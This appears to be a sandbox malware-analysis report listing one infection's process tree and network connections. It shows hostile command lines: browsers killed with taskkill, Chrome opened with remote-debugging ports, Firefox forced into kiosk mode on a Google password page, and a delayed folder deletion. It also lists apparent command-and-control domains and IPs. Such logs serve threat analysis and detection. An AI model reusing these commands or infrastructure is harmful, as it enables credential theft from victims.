"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7c89758,0x7fef7c89768,0x7fef7c89778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1148 --field-trial-handle=1216,i,5987224212797163706,14184774198986200087,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1484 --field-trial-handle=1216,i,5987224212797163706,14184774198986200087,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1576 --field-trial-handle=1216,i,5987224212797163706,14184774198986200087,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2280 --field-trial-handle=1216,i,5987224212797163706,14184774198986200087,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2332 --field-trial-handle=1216,i,5987224212797163706,14184774198986200087,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1436 --field-trial-handle=1216,i,5987224212797163706,14184774198986200087,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2200 --field-trial-handle=1216,i,5987224212797163706,14184774198986200087,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3356 --field-trial-handle=1216,i,5987224212797163706,14184774198986200087,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3456 --field-trial-handle=1216,i,5987224212797163706,14184774198986200087,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110450101\b10eb6591a.exe

"C:\Users\Admin\AppData\Local\Temp\10110450101\b10eb6591a.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3676 --field-trial-handle=1216,i,5987224212797163706,14184774198986200087,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7c89758,0x7fef7c89768,0x7fef7c89778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1124 --field-trial-handle=1376,i,17642393713077503839,4257769121199074060,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=976 --field-trial-handle=1376,i,17642393713077503839,4257769121199074060,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1552 --field-trial-handle=1376,i,17642393713077503839,4257769121199074060,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2316 --field-trial-handle=1376,i,17642393713077503839,4257769121199074060,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2652 --field-trial-handle=1376,i,17642393713077503839,4257769121199074060,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2700 --field-trial-handle=1376,i,17642393713077503839,4257769121199074060,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2260 --field-trial-handle=1376,i,17642393713077503839,4257769121199074060,131072 /prefetch:2

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Guest Profile"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7c89758,0x7fef7c89768,0x7fef7c89778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1084 --field-trial-handle=1268,i,2834032383774195376,14014868128101535127,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1508 --field-trial-handle=1268,i,2834032383774195376,14014868128101535127,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1568 --field-trial-handle=1268,i,2834032383774195376,14014868128101535127,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2148 --field-trial-handle=1268,i,2834032383774195376,14014868128101535127,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2512 --field-trial-handle=1268,i,2834032383774195376,14014868128101535127,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2620 --field-trial-handle=1268,i,2834032383774195376,14014868128101535127,131072 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\10110460101\928317e683.exe

"C:\Users\Admin\AppData\Local\Temp\10110460101\928317e683.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1452 --field-trial-handle=1268,i,2834032383774195376,14014868128101535127,131072 /prefetch:2

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3232 -s 1204

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3820 --field-trial-handle=1268,i,2834032383774195376,14014868128101535127,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110470101\1d4c3e9c84.exe

"C:\Users\Admin\AppData\Local\Temp\10110470101\1d4c3e9c84.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2852 -s 1404

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="System Profile"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef79c9758,0x7fef79c9768,0x7fef79c9778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1120 --field-trial-handle=1332,i,7328932041499506485,14764092603209718717,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1488 --field-trial-handle=1332,i,7328932041499506485,14764092603209718717,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1508 --field-trial-handle=1332,i,7328932041499506485,14764092603209718717,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2112 --field-trial-handle=1332,i,7328932041499506485,14764092603209718717,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2716 --field-trial-handle=1332,i,7328932041499506485,14764092603209718717,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2744 --field-trial-handle=1332,i,7328932041499506485,14764092603209718717,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1348 --field-trial-handle=1332,i,7328932041499506485,14764092603209718717,131072 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110480101\ad04a984dc.exe

"C:\Users\Admin\AppData\Local\Temp\10110480101\ad04a984dc.exe"

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM firefox.exe /T

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3800 --field-trial-handle=1332,i,7328932041499506485,14764092603209718717,131072 /prefetch:8

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM chrome.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM msedge.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM opera.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM brave.exe /T

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3860.0.216934134\338919545" -parentBuildID 20221007134813 -prefsHandle 1284 -prefMapHandle 1272 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {13c4be2a-de8a-4ec0-a490-204a7a56758c} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" 1344 107d7d58 gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3860.1.240391395\60041770" -parentBuildID 20221007134813 -prefsHandle 1532 -prefMapHandle 1528 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {de86f374-05d2-4348-981a-0840195a03d0} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" 1544 f5ebe58 socket

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3860.2.1541987665\2017451254" -childID 1 -isForBrowser -prefsHandle 2052 -prefMapHandle 1804 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 588 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {31366020-4742-45cf-adab-8e1ac9a51a8d} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" 1872 1a8c2d58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3860.3.1133694320\336512238" -childID 2 -isForBrowser -prefsHandle 2912 -prefMapHandle 2900 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 588 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7160fde4-6a31-499f-a3af-671f236c7743} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" 2924 1d930558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3860.4.1058351506\1070851912" -childID 3 -isForBrowser -prefsHandle 3840 -prefMapHandle 3836 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 588 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8e7258fa-c815-4b24-aec2-a7585dbae0c4} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" 3848 21978e58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3860.5.446308568\1806197329" -childID 4 -isForBrowser -prefsHandle 3956 -prefMapHandle 3960 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 588 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {86295890-8fe6-4aed-a39a-560f15cbe665} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" 3944 20850258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3860.6.2079172216\2027880664" -childID 5 -isForBrowser -prefsHandle 4136 -prefMapHandle 4140 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 588 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {66131f58-6253-4bba-a972-491e2e0e3e40} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" 4124 20852f58 tab

C:\Users\Admin\AppData\Local\Temp\10110490101\c7ac40f2bf.exe

"C:\Users\Admin\AppData\Local\Temp\10110490101\c7ac40f2bf.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\cj58q" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 11

C:\Users\Admin\AppData\Local\Temp\10110500101\0267726553.exe

"C:\Users\Admin\AppData\Local\Temp\10110500101\0267726553.exe"

Network

Country Destination Domain Proto
RU 176.113.115.7:80 176.113.115.7 tcp
RU 176.113.115.6:80 176.113.115.6 tcp
RU 176.113.115.7:80 176.113.115.7 tcp
US 8.8.8.8:53 cobolrationumelawrtewarms.com udp
NL 107.189.27.66:80 cobolrationumelawrtewarms.com tcp
LU 45.59.120.8:80 45.59.120.8 tcp
US 8.8.8.8:53 dugong.ydns.eu udp
DE 38.180.229.217:80 dugong.ydns.eu tcp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 avx.medianewsonline.com udp
BG 185.176.43.98:80 avx.medianewsonline.com tcp
BG 185.176.43.98:80 avx.medianewsonline.com tcp
RU 176.113.115.7:80 176.113.115.7 tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9229 tcp
DE 38.180.229.217:80 dugong.ydns.eu tcp
US 8.8.8.8:53 biochextryhub.bet udp
US 104.21.68.89:443 biochextryhub.bet tcp
US 8.8.8.8:53 circujitstorm.bet udp
US 8.8.8.8:53 explorebieology.run udp
US 8.8.8.8:53 gadgethgfub.icu udp
US 8.8.8.8:53 moderzysics.top udp
US 104.21.9.123:443 moderzysics.top tcp
DE 5.75.210.149:443 tcp
RU 176.113.115.7:80 176.113.115.7 tcp
US 8.8.8.8:53 dawtastream.bet udp
US 8.8.8.8:53 foresctwhispers.top udp
US 8.8.8.8:53 tracnquilforest.life udp
US 8.8.8.8:53 collapimga.fun udp
US 8.8.8.8:53 seizedsentec.online udp
US 8.8.8.8:53 strawpeasaen.fun udp
US 8.8.8.8:53 quietswtreams.life udp
US 8.8.8.8:53 starrynsightsky.icu udp
US 8.8.8.8:53 earthsymphzony.today udp
US 8.8.8.8:53 steamcommunity.com udp
GB 23.214.143.155:443 steamcommunity.com tcp
US 8.8.8.8:53 farmingtzricks.top udp
US 104.21.24.225:443 farmingtzricks.top tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9229 tcp
US 104.21.24.225:443 farmingtzricks.top tcp
DE 38.180.229.217:80 dugong.ydns.eu tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
RU 176.113.115.7:80 176.113.115.7 tcp
DE 5.75.210.149:443 tcp
RU 176.113.115.7:80 176.113.115.7 tcp
RU 176.113.115.7:80 176.113.115.7 tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9229 tcp
US 8.8.8.8:53 exarthynature.run udp
US 104.21.16.1:443 exarthynature.run tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9229 tcp
DE 38.180.229.217:80 dugong.ydns.eu tcp
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 steamcommunity.com udp
GB 23.214.143.155:443 steamcommunity.com tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
NL 185.156.73.73:80 185.156.73.73 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
US 8.8.8.8:53 www.google.com udp
GB 216.58.204.68:443 www.google.com tcp
US 8.8.8.8:53 ogads-pa.googleapis.com udp
US 8.8.8.8:53 apis.google.com udp
GB 216.58.201.110:443 apis.google.com tcp
GB 172.217.169.10:443 ogads-pa.googleapis.com tcp
GB 172.217.169.10:443 ogads-pa.googleapis.com udp
US 8.8.8.8:53 play.google.com udp
GB 142.250.200.14:443 play.google.com tcp
GB 142.250.200.14:443 play.google.com udp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
GB 23.214.143.155:443 steamcommunity.com tcp
DE 5.75.210.83:443 tcp
US 104.21.24.225:443 farmingtzricks.top tcp
NL 185.156.73.73:80 185.156.73.73 tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 8.8.8.8:53 croprojegies.run udp
US 104.21.96.1:443 croprojegies.run tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 8.8.8.8:53 towerbingobongoboom.com udp
US 213.209.150.137:4000 towerbingobongoboom.com tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 213.209.150.137:4086 towerbingobongoboom.com tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9229 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
DE 5.75.210.83:443 tcp
US 8.8.8.8:53 youtube.com udp
US 8.8.8.8:53 getpocket.cdn.mozilla.net udp
US 8.8.8.8:53 spocs.getpocket.com udp
US 34.120.5.221:443 getpocket.cdn.mozilla.net tcp
GB 142.250.187.206:443 youtube.com tcp
US 8.8.8.8:53 prod.pocket.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 youtube.com udp
US 8.8.8.8:53 prod.pocket.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 youtube.com udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
